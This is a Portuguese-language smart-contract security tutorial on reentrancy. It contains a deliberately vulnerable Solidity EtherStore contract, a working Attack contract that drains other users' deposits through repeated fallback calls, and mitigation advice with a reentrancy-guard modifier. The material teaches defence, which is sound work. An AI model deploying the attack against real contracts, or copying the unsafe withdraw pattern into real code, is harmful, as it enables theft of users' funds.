Reentrada
WEB3DEV Team
# Reentrada
VulnerabilidadeVamos dizer que o contratoA
chama o contrato B
.
A exploração de reentrada permite B
chamar de volta A
antes que A
termine a execução.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/*
EtherStore é um contrato onde você pode depositar e retirar ETH.
Esse contrato é vulnerável a ataque de reentrada.
Vamos ver por quê.
1. Implemente EtherStore
2. Deposite 1 Ether cada da Conta 1 (Alice) e Conta 2 (Bob) na EtherStore
3. Implemente Attack com endereço da EtherStore
4. Chama Attack.attack enviando 1 ether (usando a Conta 3 (Eve)).
Você obterá 3 Ethers de volta (2 Ether roubados de Alice e Bob,
mais 1 Ether enviado desse contrato).
O que aconteceu?
Attack foi capaz de chamar EtherStore.withdraw múltiplas vezes antes que
EtherStore.withdraw terminasse de executar.
Aqui está como as funções foram chamadas
- Attack.attack
- EtherStore.deposit
- EtherStore.withdraw
- Attack fallback (receives 1 Ether)
- EtherStore.withdraw
- Attack.fallback (receives 1 Ether)
- EtherStore.withdraw
- Attack fallback (receives 1 Ether)
*/
contract EtherStore {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
// Função Helper para verificar o saldo desse contrato
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
// Fallback é chamada quando EtherStore envia Ether para esse contrato.
fallback() external payable {
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
etherStore.deposit{value: 1 ether}();
etherStore.withdraw();
}
// Função Helper para checar o balanço nesse contrato
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
- Certifique-se de que todas as mudanças de estado acontecem antes de chamar os contratos externos
- Use modificadores de função que impedem a reentrada
Aqui está um exemplo de proteção contra reentrada
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract ReEntrancyGuard {
bool internal locked;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
}